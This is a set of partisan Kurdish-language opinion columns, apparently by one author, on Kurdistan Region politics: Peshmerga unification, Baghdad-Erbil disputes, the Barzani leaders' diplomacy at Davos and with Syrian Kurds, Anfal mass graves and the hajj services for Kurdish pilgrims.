غیاس خـالد زێباری

پارتی دیموكراتی كوردستان و جەنابێ سەرۆك بارزانی د هەوا بانگەشا هەلبژارتنێن بەرێ دا تەكەز كر كۆ پێدڤی یە كابینا دەهێ یا حوكمەتا هەرێما كوردستانێ ل سەر بنەمایێ ئێك پەرلەمانی و ئێك حوكمەت و ئێك لەشكر بهێتە پێكئینان، د دانۆستاندنێن ل گەل ئالیێن سەركەفتی دا دێ داكۆكی ل سەر ڤان خال و بابەتان بن، ئانكۆ مەرجێن پارتی دیموكراتی كوردستان وەكی پارتیا سەركەفتی د ڤان هەلبژارتنان دا ئەڤەنە. هەر چەندە هێشتا دانۆستاندنێن پارتیێن سەركەفتی ب تایبەت پارتی و ئێكەتی ل سەر چاوانیا پێكئینانا كابینا دەهێ و هێلێن سەرەكیێن وێ ب داوی نەهاتینە، د ڤان رۆژان دا ئاراستەی چوونا بەرەڤ بجهئینانا وان ب پێكئینانا فرقەیێن پێشمەرگەهێن كوردستانێ و كۆمكرنا وان ل بن رێنمایێن وەزارەتا پێشمەگە و سەرۆكێ هەرێمێ وەكی فەرماندێ گشتی دیار بوون، ئەڤە ژی نیشانێ پێگیریا پارتی یە ل وان سۆزێن ل هەلبژاتنا دای و بەرنامە بۆ دارشتی بۆ بهێزكرنا قەوارێ هەرێما كوردستانێ و بهێزتركرنا باوەریا هەڤپەیما و دوستێن كوردستانێ ب دەستهەلاتا كوردستانێ و زێدەتر هەڤكاری و هاریكاریێن وان، پێدڤی یە هەمی پارتیێن كوردستانی یێن پشكدار و نە پشكدار ل كابینا داهاتی دا پشتەڤانیا ڤی پرۆژێ پارتی بكەن بۆ ب نشتیمانیكرنا لەشكرێ كوردستانێ و هێزێن ئێنماهیێ و نەهێلانا وان ژ بن هەژموونا پارتیاندا، چونكی ب نشتیمانیكرنا وان ژ بلی بهێزكرنا باوەریا هێز و وەلاتێن هەڤپەیمانان، باوەریا خەلكێ كوردستانێ ژی دێ زێدەتر بیت و دەلیڤە زێدەتر بۆ خەلكی دێ بەرجەستە بیت بۆ پەیوەندیكرنێ ب ڤان هێزا، ژلایەكێ دیتر ئارامی و سەقامگیریا باشا كوردستانێ دێ بەرەڤ باشتر بوونێ چیت، سەقامگیریا ب وی رەنگی ژی دێ كاریگەریێن ئەرێنی ل سەر رەوشا ئابووری و بازرگانی ژی هەبیت و رەوشا كوردستانێ ژ هەمی لایەكیڤە دێ بەرەڤ پێشڤەچوونا چیت . پێدڤی یە هەمی پارت و هێز و ئالیێن كوردستانی مینا پارتی بەرژەوەندیێن گشتی یێن خەلكێ كوردستانێ ل سەرڤەی هەمی بەرژوەندا ببینن و كار بۆ نەهێلانا شوونوارێن دو ئیدارەیی یێ بكەن و هەرێما كوردستانێ یا ل سەردەمێ كابینا دەهێ ببیتە هەرێمەكا ئێكگرتی و سیستەماتیك و بهێز و ڤالاهی د ناڤبەرا خەلكی و دەستهەلاتێدا نەمینیت، نەخاسمە پشتی زۆر گاڤێن كابینا نهۆ بۆ ڤێ چەندێ ولێكتێگەهشتنێن ئەرێنی د ناڤبەرا حوكمەتا هەرێما كوردستانێ و حوكمەتا ئیراقێ ژلایێ كارگێری و ئابووری و وزەیێ ڤە.

غیاس خـالد زێباری

ژبۆی گەهشتن ب هەر ئارمانجەكێ پێدڤی ب پلانێ هەیە، بۆ بجهئینانا پلانا ژی پێدڤی ب هەدارێ هەیە نەخاسمە ئارمانجێن نەتەوی و سیاسی، چونكی ڤان ئارمانجا ئاستەنگێن مەزن ب پیلانێن رێكخسنی دهێنە پێش، ب تایبەت ئەگەر دوژمن و نەیار ب هێزبن، ئازادی و رزگاریا كورد و كوردستانێ، ئارمانجا خەلكێ كوردستانێ یە ب پلانا بزاڤا رزگاریخوازیا كوردستانی و ب سەرپەرشتیا پارتی دیموكراتی كوردستان، ب شێوەیەكێ پلان دارشتی و هەدار و بێهنفرەهیێ ئاستەنگ هاتنە لادان و پیلان هاتنە ژ ناڤبرن ژ قۆناغا داخازیێن مافێن رەوشەنبیری و كلتووری گەهشتینە مافێ ئۆتۆنۆمی و دیموكراسی بۆ ئیراقێ و پاشان فیدرالیەتێ، هەتا كۆ ئەڤرۆ خوەدان هەرێمەكا دەستووریا داپێدانكرینە و پەیوەندیێن موكۆم یێن دبلۆماسی و ئابووری ل گەل جیهانێ هەنە و وەڵاتێن دزلهێز وەكی هەڤپەیمان سەرەدەریێ ل گەل كوردستانێ دكەن . پرسا كوردستانی چەند پێشڤە بچیت، سەرەدەریێن دوژمن و نەیاران ژی ل گەل سەردەمی دهێنە گۆهڕین، ژلایێ لەشكری و سیاسی بزاڤا رزگاریخوازیا كوردستانی ب سەرپەشتیا پارتی شیا ب سەر پیلان و ئاستەنگا سەربكەڤیت و پشتەڤانیا خەلكێ كوردستانێ دابین بكەت و پاشان دیموكراسیەكن كوردستانێ بكەتە نموونەیێ دەڤەرێ و دەلیڤەكا بەفرەهتر بۆ دامەزراندنا چەندین پارتیێن خوەدی ئایدیۆلۆژیێن جودا هاتە دابینكرن و هەستا نەتەوی و نشتیمانی بهیزتر بوو، ئەنجامێن ڕاپرسیا سەرخوەبوونا كوردستانێ باشترین بەلگەهە، ئەڤێ چەدنێ وەكر نەیار و دوژمن شێوازێ ئاستەنگ و پیلانا بگۆهۆڕن، بەرەڤ لاوازكرنا هەستا نەتەوی و خۆ ل خوە تۆڕەبوونكرنێ، خۆ ل خوە تۆڕەبوونەك كو وێ هەبوونا خوە ئەوا زێدەتر ژ سەد ساڵایە گەلێ مە خەونا پێڤە دبینیت و قۆربانیا بۆ ددەت، ڕەش و ماندەل بكەن. مخابن ڤێ پیلانا دۆركرنا خەلكێ كوردستانێ ب رێكا برسیكرن و نەڤیان ئێك و دو گەهشتیە وی ئاستی هندەك حزب و رێكخستن پەسند بكەن و ببنە پشكەك ژ دژایەتیا قەوارێ هەرێمێ و حوكمەتا وێ . پێدڤی یە خەلكێ مە بزانیت كو ئەڤە پیلانێن دارشتی نە و بەرەڤ وێ هەدارێ ڤەگەرێن ئەوا باب و باپیرێن مە دومداری ل سەر كری هەتا گەهشتینە ڤێ ئارمانجێ، فەرە بزانین خۆ نەڤیانا ئەڤرۆ، خزمەتا ڤیانا پیلانێن نەیارا دكەت و یا روون و ئاشكرایە چ گونەها حوكمەتا هەرێما كوردستانێ د دروستكرنا ڤان قەیرانێن ئابووری و دارایی دا نینە و حوكمەتا ئیراقێ رۆژانە بەهانەیێن نوو ڤەدبینیت و ئارمانجا وان نەهێلانا هەدارا خەلكێ كوردستانێ ژ بۆی دووركرنا وان ژ حوكمەتا هەرێمێ و پەیدابوونا دوبەرەكیێ.

داڤۆس گۆربەنەدەكێ ئابووری یێ نیڤدەولەتیێ نە حوكمی یە، دەمێ زێدەتر ژ پێنجی ساڵایە ل باژارێ داڤۆس یێ وەڵاتێ سویسرا دهێتە بەستن، هەر سال سەرۆك و سەرۆك وەزیر و پلەدارێن وەلاتان و سەرمایەدارێن مەزنێن جیهانێ د ڤی كۆربەندی دا بابەتێن ئابووری دهێنە گەنگەشەكرن و چارەسەریێن قەیرانان دهێنە دیاركرن، ل ڤان ساڵێن داویێ ئەڤ گۆربەندە بۆیە ناڤەندەكا سیاسی ژی بۆ پەیوەندیێن دبلۆماسی و دانۆستاندنا دناڤبەرا نوونەرێن وەلاتا و هەولێن چارەسەركرنا قەیرانان . چەندین ساڵە نوونەرێن هەرێما كوردستانێ ل سەر ئاستێ سەرۆك و سەرۆك وەزیر و كۆمپانی و سەمایەدار پشكدار دبن و جهەكێ بەفرەهـ پاوان دكەن، و چەندین دیدار و كۆمبوونێن گرنگ ل گەل سەرۆك و پلەدارێن مەزنێن جیهانێ ل سەر ئاستێن سیاسی و ئابووری دهێنەكرن، ئەڤ ساڵە ژی سەرۆكێ حوكمەتا هەرێما كوردستانێ رێزدار مەسرۆر بارزانی ب یاوەریا شاندەكێ بەرفرەهــ تێدا پشكدارن، ئەوا جهێ شانازیێ بۆ مە وەكی كورد ئەو دیدار و كۆمبوونێن گرنگن یێن مەسرۆر بارزانی ل گەل سەرۆك و سەرۆك وەزیر و وەزیرێن دەرڤە و نوونەرێن وەلاتایە كۆ مینا وەلاتەكی كوردستان دهێتە دیتن، ئەڤ پێگەهێ سەرۆكێ حوكمەتا هەرێمێ ل ڤێ كۆبەندێ هەی، هەرێما كوردستانێ د گەهینە ئاستێ وەلاتێن سەربخۆ یێن جیهانێ، ژلایەكێ دیتر دامەزراندنا ماڵا كوردی د ناڤ كۆربەندێ داڤۆسێ دا، بۆ مە وەك كورد ڤی كۆربەندی دكەتە جۆخینەكا هەمە رەنگ كۆ چەندین جۆرێن دەخل و دانێ لێ دهێنە كۆمكرن و ژێك ڤاڤارتن و ب زێدەیی بەهرا چەند سالا بكەت، جونكی رێزدار مەسرۆر بارزانی كۆبەندێ ئابووریێ داڤۆس بۆ كوردا كریە دەرفەتەك بۆ بهێزكرنا ئاستێ پەیوەندیێن دبلۆماسی ل گەل زۆربەری وەلاتێن جیهانێ و زێدەكرنا وەبەرهێنانێ و روونكرنەڤا راستیا وێ سەرەدەریا دۆژمنانە یا ئیراقێ بەرامبەر هەرێمێ و دانەنیاسینا كلتوورێ كوردەواری و بەرهەمێن جۆڕاو جۆڕێن كوردستانێ، ئەڤ پشكداریا كوردستانێ ب سەرۆكاتیا مەسرۆر بارزانی ب ڤی رەنگی ل ڤان رەنگە كۆربەندێن جیهانێ نیشانێ كارامەیی و هزر بەرفرەهیا جەنابێ وی بۆ دەولەتداریێ و خزمەتا كورد و كوردستانێ و بهێزكرنا كوردستانێ ژ هەمی ئالیانڤە، ل داهاتەكێ نێزیك دا بەرهەمێ ڤان دیدار و كۆمبوونێن سەرۆكێ حوكمەتا هەرێمێ ل كۆربەندێ داڤۆس دێ دیار بن و بنە ئەگەرێ ڤەژاندنا ئابوورێ كوردستانێ و پێشڤەچوونێن ئاڤەدانی و بازرگانی و ئارامی و سەقامگیریەكا زێدەتر، ل سەر ئاستێ سیاسی ژی پشتەڤانیەكا باشتر دێ هێتە دابینكرن و گڤاشێن دەولەتا ئیراقێ ژی دێ لاوازتر بن.

رێبەرێن مەزن و نشتیمان پەروەر هەردەم خەما مەزن و بارێ گرانێ مللەتێ خوە هەلدگرن و دەرگەهێن بەختەوەریێ بۆ ڤەدكەن، نەبوونا ئێكگرتن و ئێكرێزی هەردەم ئاستەنگەگا مەزن بوویە دناڤبەرا هێز و ئالیێن سیاسی یێن كوردستانێ و فاكتەرەك بوویە بۆ كاریگەریا لایەنێن دەرەكی، گەهشتیە وی ئاستێ هندەك جاران خەلكێ كوردستانێ بۆ هیڤی و ئۆمێد دبیت ل دروستبوونا وێ ئێكرێزیێ كو خزمەتا دووزا كوردستانی و بزاڤا رزگاریخوازیا كوردستانی بكەت، لێ هەردەم سەرۆك مەسعوود بارزانی ئەو رێبەر و كەسایەتی بوویە ئەو بێ ئۆمێدیا خەلكێ كوردستانێَ ڤەرەڤاندییە و دۆر ل هەر بابەتەكێ دیتر بەرژەوەندێن گشتی یێن نشتیمانی و نەتەوایەتی سەرپشك كرینە و هێز و ئالیێن سیاسی یێن كوردستانێ لێك كۆمكرینە و نەخشە و پلانێن بەرهنگاریا پیلان و مەترسیێن ل سەر بەرژەوەندێن كورد و كوردستانێ دارشتینە و سەركەفتن ب دەست ئینانە، چەندین ساڵە ژێك دووربوونا ئالیێن سیاسی یێن رۆژئاڤایێ كوردستانێ ببووینە مەترسی ل سەر وی بەشێ كوردستانێ و دەستكەفتێن وێرێ، پشتی نەمانا رژێما ئەسەدی و هاتنا دەستهەلاتەكا نوو ل سووریا، ئەو دووبەرەكی و ژێك دووربوونا ئالیێن سیاسی یێن رۆژئاڤایێ كوردستانێ مەترسی ل سەر زێدەتر كریە و تنێ ئێكرێزی چارەسەرە، ل سەر ئاستێ نیڤدەولەتی ژی دۆستێن كوردان داخازا ئێكرێزیا كوردان دكەن .
دەستپێشخەیا سەرۆك بارزانی بۆ ژێز نێزیككرنا ئالیێن سیاسی یێن رۆژ ئاڤایێ كوردستانێ ب هنارتنا نوونەرێ خوە و پاشان كۆمبوونا جەنایێ سەرۆك بارزانی ل گەل فەرماندێ گشتێ (قەسەدێ) (مەزلۆم عەبدێ) ل هەولێرێ، بۆ مە وەكی كورد دیار دكەت كو سەرۆك بارزانی هەلگرێ خەم و بارێ گرانێ كورد و كوردستانیا ل هەر جهەكێ هەبیت، دیسان پارێزەرێ ماف و ئارمانج و دەستكەفتانە و دڤێت ئێكرێزیەكا پۆلایین دناڤبەرا هەمی پێكهات و ئالیێن سیاسی یێن كوردستانێ درۆست بكەت كو ببیتە ئەگەرێ پاراستن و پێشڤەچوونا دەستكەفتێن كوردستانێ كو لسەر ئاستێ نیڤدەولەتی و هەرێمایەتی بهێتە پەسندكرن، گرنگ و پێدڤی یە دەستپێشخەری و رێنما و ئامۆژگاری و پلانێن داهاتی یێن سەرۆك بارزانی بۆ چارسەركرنا ناكۆكیا و دروستبوونا ئێكرێزیێ و نەخشێ داهاتی ب هەستەكا نشتیمانی و نەتەوەیی بهێنە پەسندكرن و پراكتیزەكرن كو ل ئاستێ خەمخۆری و دلسۆزیا سەرۆك مەسعوود بارزانی بیت و ببیتە ئەگەرێ سڤكبوونا ڤی بارێ گرانی جەنابێ وی و ئێكرێزی ژی وەكی هیڤی یا دێرینا خەلكێ كوردستانێ بجهـ بهێت و مەترسی ل سەر كوردستانێ بهێتە لادان.

غیاس خالد زێبارى
هه‌ر وه‌لاته‌كى یان هه‌رێمه‌كا ده‌ستوورى پایته‌ختێ خوه‌ یێ تایبه‌ت هه‌یه‌، پایته‌خت سه‌نته‌رێ سازیێن ب یارده‌ر و رێڤه‌برنا وه‌لاتى یه‌، مینا سه‌رۆكایه‌تیێ و حوكمه‌تێ…هتد. هه‌بوونا ڤان سازیان ژى ژبۆى پاراستنا وه‌لاتى و گه‌شه‌كرنا جڤاكى و ئارامیێ و سه‌قامگیریێ و سه‌روه‌ریا قانوونێ و ئاشته‌وایى یه‌. ژ بلى بریارێن سیاسى ل گه‌ل وه‌لاتان و سازیێن نیڤده‌وله‌تى و سه‌روه‌ریێ، پایته‌خت سه‌نته‌رێ بریارده‌را چاره‌سه‌ركرنا ئاریشێن ناڤخوه‌ یێن وه‌ڵاتى یه‌، نابیت پایته‌خت ببیته‌ ئه‌گه‌رێ سه‌رهه‌لدان و چێكرنا قه‌یرانان د ناڤبه‌را پێكهاتێن جڤاكى، هه‌ر ره‌فتاره‌كا ب ڤى ره‌نگى دێ بیته‌ ئه‌گه‌رێ ل ده‌ستدانا سه‌نگا خوه‌ یا پایته‌ختبوونێ ژلایێ پێكهاتێن جڤاكى، ب تایبه‌ت بۆ وه‌ڵاته‌كێ مینا ئیراقێ كو وه‌ڵاته‌كه‌ چه‌ندین پێكهاتێن نه‌ته‌وى و ئایینى و ئه‌تنى ل خوه‌ هه‌مبێز دكه‌ت . هه‌ر چه‌نده‌ ده‌وله‌تا ئیراقێ خوه‌دى سیسته‌مه‌كێ دیموكراسى ــ فیدرالى یه‌ و باژارێ به‌غدا پایته‌ختێ وێ یه‌، پێتڤى بوو به‌غدا ببا سه‌نته‌رێ ئاشتى و پێكڤه‌ ژیانێ و چاره‌سه‌ركرنا قه‌یرانان ب تایبه‌ت به‌رامبه‌ر هه‌رێما كوردستانێ و كوردا ب گشتى، چونكى هه‌رێما كوردستانێ هه‌رێمه‌كا ده‌ستوورى و قانوونى یه‌ و به‌شه‌كه‌ ژ ئیراقێ، ل ده‌مێ ئاڤاكرنا ئیراقا نوو یا پشتى رژێما دكتاتۆرى ل سالا 2003 ێ، هه‌رێما كوردستانێ ب ره‌زامه‌ندیاخوه‌ ڤه‌گه‌ریایه‌ به‌غدایا پایته‌خت و رۆله‌كێ سه‌ره‌كى د ئاڤاكرنا ئیراقا نوو یا دیموكراسى و فیدرالى و دارشتنا ده‌ستوورێ هه‌رده‌مى دا هه‌بوو، لێ ئه‌ڤه‌ چه‌ند ساڵه‌ ب تایبه‌ت پشتى سالا 2014 به‌غدا وه‌كى پایته‌خت و هه‌مبێزگه‌را سازیێن بریارده‌ر و رێڤه‌برنا وه‌لاتى، به‌رامبه‌ر هه‌رێما كوردستانێ و خه‌لكێ وێ بوویه‌ سه‌نته‌رێ چێكرنا قه‌یرانا ب تایبه‌ت ژلایێ ئابوورى و دارایى، حوكمه‌تا ئیراقێ ل به‌غدایا پایته‌خت ب ڤان بریارێن دوژمنانه‌ ده‌رهه‌قى و هه‌رێمێ و خه‌لكێ وێ یێن بڕینا مووچێ مووچه‌خۆرا و بۆدجێ سالانه‌، خوه‌ ل پێشچاڤێن خه‌لكێ كوردستانێ وه‌كى دوژمن دیاركریه‌ و خزمه‌تا ئاشتى و ئاشته‌وایى یێ و پێكڤه‌ژیانا جڤاك و پێكهاتێن ئیراقێ نه‌كریه‌. پێدڤى یه‌ سازیێن ده‌وله‌تا ئیراقێ وه‌كى سه‌رۆك و جڤاتا نوونه‌را و حوكمه‌ت و دادوه‌رى، چاڤخشاندنه‌كا بله‌ز ل ڤان ره‌فتار و سه‌ره‌ده‌ریێن دژى هه‌رێما كوردستانێ بكه‌ت و ژبوو ده‌ستوورى ڤه‌گه‌رێن و ب ئێك چاڤ هه‌مى پێكهاتێن ئیراقێ ببینن، زێده‌تر دوژمنایه‌تیا كوردا نه‌كه‌ن، چونكى هه‌رێما كوردستانێ ژى كارتێن فشارێ هه‌نه‌ و ب بریارا خوه‌ ڤه‌كێشانێ ره‌وشا ئیراقێ دێ به‌ره‌ڤ ئاراسته‌یێن دیتر چیت، ب تایبه‌ت پشتى ره‌وشا نهۆ یا رۆژهه‌لاتا ناڤین.

غیاس خالد زێبارى
بۆ پشتراستكرنا تاوانبارێن روودان و كاره‌ساتێن دژى مرۆڤ و مرۆڤایه‌تیێ به‌ڵكه‌هه‌كێ فه‌رمى یان دو سێ دیده‌ڤان به‌سن كو بهێنه‌ سزادان، هه‌ر چه‌نده‌ تاوان و كاره‌ساتێن ل سه‌ر ده‌ستێ رژێما به‌عسا سه‌دامى ل سه‌ر خه‌لكێ كوردستانێ هاتى مینا هه‌وێن بناڤ ئه‌نفالا و كیمیاباراكرنێ و جینۆسایدكرنێ و وێرانكرنا هزاران گۆندا، زۆر به‌لگه‌هــ و دیكیۆمێنتارى و دیده‌ڤان هه‌نه‌ كو خه‌لكێ كوردستانێ بهێنه‌ قه‌ره‌بۆكرن، لێ مخابن هه‌تا نهۆ نه‌ ده‌وله‌تا ئیراقا نوو یا لسه‌ر بنه‌مایێ دیموكراسیێ و پاراستنا مافێن مرۆڤان هاتیه‌ ئاڤاكرن ب ئه‌ركێ خوه‌ ڕابوو نه‌ ژى جڤاك و سازى و رێكخراوێن نیڤده‌وله‌تى .
پشتى بۆرینا زێده‌تر ژ بیست سالا ل سه‌ر ژناڤچوونا رژێما به‌رێ یا ئیراقێ هه‌یام هه‌یام تاوانێن وان یێن دژى خه‌لكێ كوردستانێ و مرۆڤایه‌تیێ دهێنه‌ ئاشكراكرن، به‌رى چه‌ند رۆژان ل باشوورێ ئیراقێ گۆڕه‌كێ ب كۆم یێ كوردێن ئه‌نفالكرى كو زێده‌تر ل سه‌د ئافره‌ت و زاروو ب هۆڤانه‌ لێ هاتبوونه‌ بن ئاخكرن هاتیه‌ دیتن و وێنێ پێلاڤه‌كا ئافره‌ته‌كا كورد یا پڕى ئێسك ده‌ركه‌فت و ل سۆشیال میدیایێ و راگه‌هاندنێ هاته‌ به‌لاڤكرن، ئه‌گه‌ر مرۆڤایه‌تى و مافێن مرۆڤ و وژدان دناڤ سازیێن نیڤده‌وله‌تى و رێكخراوێن مافێن مرۆڤ مابیت، دیمه‌نێن ڤێ پێلاڤا ئافره‌تا كوردا یا سڤیل و بێ تاوان هاتیه‌ شه‌هیدكرن تێرا هندێ هه‌یه‌ ل سه‌ر گه‌لێ كورد بهێنه‌ ئاخفتن و كڤاشێ ل سه‌ر حوكمه‌تا ئیراقێ بكه‌ن خه‌لكێ قوربانى و زیان ڤێكه‌فتی بهێنه‌ قه‌ره‌بۆكرن، مخابن به‌رامه‌به‌ر ڤان هه‌مى كاره‌ساتا جیهان یا كۆره‌یه‌ ..! ئه‌ز باوه‌رم ئه‌گه‌ر ئه‌ڤ دیمه‌نه‌ یێن مله‌ته‌كێ خۆدان سه‌روه‌رى یان یێ ئه‌ورۆپى و ئه‌مریكى و ئه‌ره‌بى و …هتد ئه‌ڤ پێلاڤه‌ دا بیته‌ ئه‌گه‌رێ قه‌ڕه‌بۆكرنێ و دابینكرنا پشته‌ڤانیا نیڤده‌وله‌تى بۆ وى مله‌تى و دا ل مه‌زنتر مۆزه‌خانه‌ هێته‌ دانان، ژلایه‌كێ دیتر ڤه‌گێرانا به‌شه‌ك ژ دیمه‌نێ گرتنا كوردان ده‌مێ ئه‌نفالكرنێ ژلایێ ئه‌فسه‌ره‌كێ پله‌دارێ له‌شكرێ ئیراقێ ده‌مێ دبێژیت” ده‌مێ مه‌ ژماره‌كا كوردا گرتى و برینه‌ باشوورێ ئیراقێ ل ئۆتۆمبێلێن له‌شكرى ئیناینه‌ خوار، كچه‌كا چوار سالى بده‌نگه‌كێ بلند دگرى و ئاماژه‌ دكره‌ پێلاڤا خوه‌ چونكى كه‌ته‌كا پێلاڤا وێ دیار نه‌بوو، من ژى گۆته‌ سه‌ربازه‌كى دناڤ ئۆتۆمبێلێ لێبگه‌رێ، ده‌مێ ڤه‌دیتى كه‌نیه‌كا جوان كر، چوكى چ ژ بابه‌تێ گرتن و كوشتنێ نه‌ دزانى و پشتى ده‌مه‌كێ كورت من دیت كۆ پێلاڤێن وێ لجهێ بن ئاخكرنا وان یا ماى و هه‌تا نهۆ هه‌ر ده‌مێ ئه‌ز پێلاڤێن زاووریا دبینم گریا من دهێت . له‌وما دبێژین پێلاڤ ژى دیده‌ڤانن بلا چاڤێن زل ژى هه‌بن.

غیاس خالد زێبارى
به‌رى چه‌ند رۆژان مه‌سرۆر بارزانى سه‌رۆكێ حوكمه‌تا هه‌رێما كوردستانێ نهێنیا به‌هره‌یه‌كا خوه‌ ل تۆرێن جڤاكى ئاشكرا كر، ئه‌و ژى به‌ڵاڤكرنا هه‌لبه‌سته‌كا خوه‌ بناڤێ ده‌ردێ دلێ كه‌ركووكێ، به‌رى نهۆ مه‌ زانى یه‌ كو جه‌نابێ وى ژ بلى به‌هره‌یا سیاسى و كارگێرى، به‌هره‌داره‌كێ هۆنه‌رێ شێوه‌كارى یه‌، لێ نهۆ ئه‌ڤ به‌هره‌یا وى ( هه‌لبه‌ستڤانى ) بۆ خه‌لكێ كوردستانێ ئاشكرا بوو، زۆر گرنگه‌ سه‌رۆك و سه‌ركرده‌ خودان به‌هره‌یێن جودا جودا بن ب تایبه‌ت هۆنه‌ر و وێژێ ، چونكى ئه‌ڤ به‌هره‌یه‌ هزر و شیانێن وان د بوارێن سیاسى و كارگێرى دا زێده‌تر دكه‌ن و په‌یوه‌ندیێن ل گه‌ل ته‌خ و چینێن جڤاكى ژى زێده‌تر لێ دكه‌ن، ره‌نگه‌ حه‌زن و شیانێن رێزدار مه‌سرۆر بارزانى د هۆنه‌ر و وێژه‌یێ دا، ئێك بیت ژ نهێنیێن سه‌ركه‌فتا وى د ئیداره‌دانا حوكمه‌تا هه‌رێما كوردستانێ ب ره‌نگه‌كێ سه‌ركه‌فتى و زاڵبوون ب سه‌ر ناكۆكى و ئاریشه‌یان . هه‌لبه‌ستا ده‌ردێ دلێ كه‌ركووكێ نه‌ تنێ تێكسته‌كا وێژه‌یى یا ب ڕامانێن سیاسى یه‌، گازییه‌كا بلندا نه‌ڕازیبوونا كه‌ركووك و كه‌ركووكیانه‌ لسه‌ر وێ ره‌وشا پشتى خیانه‌تا 16 ێ ئكتۆبه‌رێ ب سه‌ر هاتى و هه‌تا ئه‌ڤرۆ یا به‌رده‌وام، هه‌لبه‌ستا ده‌ردێ دلێ كه‌ركووكێ پانۆڕامایه‌كا كورت یا خه‌باتا پارتى یه‌ ژ بووى ئازادى و رزگاریا ڤى باژارێ پیرۆز و گرنگ، ژلایه‌كێ دیتر دلسۆزى و حه‌ژێكرنه‌كا بێ هاوتا یا رێزدار مه‌سرۆر بارزانى بۆ كه‌ركووكێ دیار دكه‌ت و ئه‌ڤ ره‌وشا نهۆ كه‌ركووك تێدا ئه‌و زۆر غه‌مگین و دلگران كریه‌ . مه‌سرۆر بارزانى د هه‌لبه‌ستا ده‌ردێ دلێ كه‌ركووكێدا ئاشكرا دكه‌ت كو كه‌ركووك تنێ ب كه‌ركووكا دلێ كوردستانێ ڕازى دبیت و رێ ناكه‌ت چ ناڤ و ناسناڤێت دیتر ل سه‌ر بهێنه‌ دانان و سه‌پاندن، ئالیه‌كێ دیتر یێ ڤێ هه‌لبه‌ستێ رسته‌یێن ( شارى پێكه‌وه‌ ژیانم … پێشمه‌رگه‌یه‌ پاسه‌وانم ) دیار دكه‌ت كو ئه‌ڤ ره‌وشا هاتیه‌ سه‌پاندن نه‌شێن برایه‌تیا پێكهاتێن جڤاكێ ڕه‌سه‌نێ كه‌ركووكێ ژێك جودا بكه‌ت و تووشێ ژێك دابڕیانه‌كا خویناوى بكه‌ت و هه‌تا پێشمه‌رگه‌هــ هه‌بیت كه‌ركووكى د پشت ڕاستن كوردایه‌تیا كه‌ركووكێ دێ هێته‌ پاراستن، چونكى فه‌رمۆدا پیرۆزا جه‌نابێ سه‌رۆكێ نه‌مر مه‌لا مسته‌فاى بارزانى یه‌ (كه‌ركووك دلێ كوردستانێ یه‌)، دلێ كوردستانێ ژى هه‌رده‌م ژلایێ كوردستانیێن نشتیمان په‌روه‌ر یێ پاراستى یه‌، ژلایێ ده‌مێ به‌لاڤكرنا ڤێ هه‌لبه‌ستێ، جهێ پسیارێ یه‌، ب دیتنا من ئاماژێن گۆهڕینێن سیاسى یه‌ل ئیراقێ و ده‌ڤه‌رێ كو د به‌رژه‌وه‌ندا كورد و كوردستانیا و كه‌ركووكێدا بن .

غیاس خالد زێبارى
حه‌ج ستوونه‌كه‌ ژ ستوونێن ئیسلامێ، ئه‌ركه‌كه‌ ژ پێنج ئه‌ركێن چه‌سپاندى، ئه‌گه‌ر شیان و ده‌لیڤه‌ هه‌بن. حه‌ج د ناڤ هه‌مى ئایینێن ئاسمانی دا هه‌یه‌، ره‌نگه‌ د ناڤ ئایینێن دیتر ژى هه‌بیت، راسته‌ شێوازێ حه‌جكرنێ ژ ئایینه‌كى بۆ ئایینه‌كێ دیتر جوداهى هه‌نه‌، لێ د ناڤ هه‌مییان دا ئه‌ركه‌كێ سه‌ره‌كى یه‌ دڤى یه‌ باوه‌ردان وان ئه‌ركان ل ده‌م و جهێن دیاركرى بجهبئینن. راسته‌ حه‌ج ل سالا شه‌شێ كۆچى لسه‌ر موسلمانا هاتیه‌ چه‌سپاندن هه‌ر وه‌كى (محه‌مه‌د) پێغه‌مبه‌ر (س.خ) دبێژیت ) یا أیها الناس، قد فرچ علیكم الحج فحجوا)، لێ د ئایینێن به‌رێ ژى دا هه‌بوویه‌ هه‌ر وه‌كى د قورئانا پیرۆز دا هاتیه‌، ﴿ۆإِژْ بَۆّأْنَا لِإِبْرَاهِیمَ مَكَانَ الْبَیْتِ أَنْ ڵا تُشْڕكْ بِی شَیْئًا ۆگَهِّرْ بَیْتِێ لِلگَّائِفِینَ ۆالْقَائِمِینَ ۆالرُّكَّعِ السُّجُودِ ﴾ الحج٢٦ .
جڤاكا كوردستانێ ژى وه‌كى ملله‌ته‌كێ زۆرینه‌ موسلمان مینا هه‌مى جیهانا ئیسلامى پێگیریه‌كا زۆر ب بهمایێن ئیسلامێ هه‌یه‌، ژ وان بجهئینانا ئه‌ركێ حه‌جێ كو جهێ وێ ل وه‌لاتێ سعوودیا ئه‌ڤرۆیه‌ و هه‌ر سالا ژماره‌كا زۆر به‌ره‌ڤ سه‌ره‌دان دكه‌ن.
ئه‌وا مه‌ دڤێت ئاماژێ پێ بكه‌ن، دابینكرنا پێدڤى و داخوازیێن وى خه‌لكى نه‌ ئه‌وێن سالانه‌ ب مه‌ره‌ما بجهئینانا ئه‌ركێ حه‌جێ سه‌ره‌دانا ڤى جهێ پیرۆز دكه‌ت. هه‌رچه‌نده‌ حوكمه‌تا هه‌رێما كوردستانێ د رێكا وه‌زاره‌تا ئه‌وقاف و كاروبارێن ئایینى هه‌ر سال ئاسانكاریێن زۆر بۆ حه‌جیێن كوردستانێ دكه‌ت، لێ ئه‌و وه‌لاتیێن ڤێ رێكا دویر دبڕن و پاره‌كێ زۆر خه‌رج دكه‌ن پێدڤى ب خزمه‌تكرنه‌كا زێده‌ترن و حوكه‌ت ژى زێده‌تر چاڤدێریا نوونه‌رێن خوه‌ یێن دگه‌ل دا و كۆمپانى و به‌لێنده‌ران بكه‌ت، بۆ بجهئینانا ئه‌ركێن خوه‌ ل دووڤ رێنمایی یان، چونكى ژماره‌كا حه‌جیێن كوردستانێ گازنده‌ ل وان هه‌نه‌ لسه‌ر، كێمیا رێبه‌رێن ئایینى و نه‌دانا زانیاریێن تایبه‌ت وه‌كى پێدڤى چونكى هه‌ر چار پاسێن حه‌جیا ئێك رێبه‌ر هه‌ربوویه‌، دووریا جهێ مانه‌ڤا وان ل كه‌عبێ، وه‌رگرتنا پارێ زێده‌تر ل ده‌مێ ڤه‌گه‌ریانێ به‌رامبه‌ر كه‌ل و په‌لێن وان، دابینكرنا خوارنا وه‌لاتێن دیتر كو دگه‌ل خوارنا كوردستانى و ئیراقى زۆرا جودایه‌ بۆ نموونه‌ یا (مسری)، ڤه‌كۆشتنا قوربانیا ب بهایه‌كێ گران و هنده‌ك جاران به‌رى ده‌مێ دیاركرى .ئه‌ڤه‌ پشكه‌ك 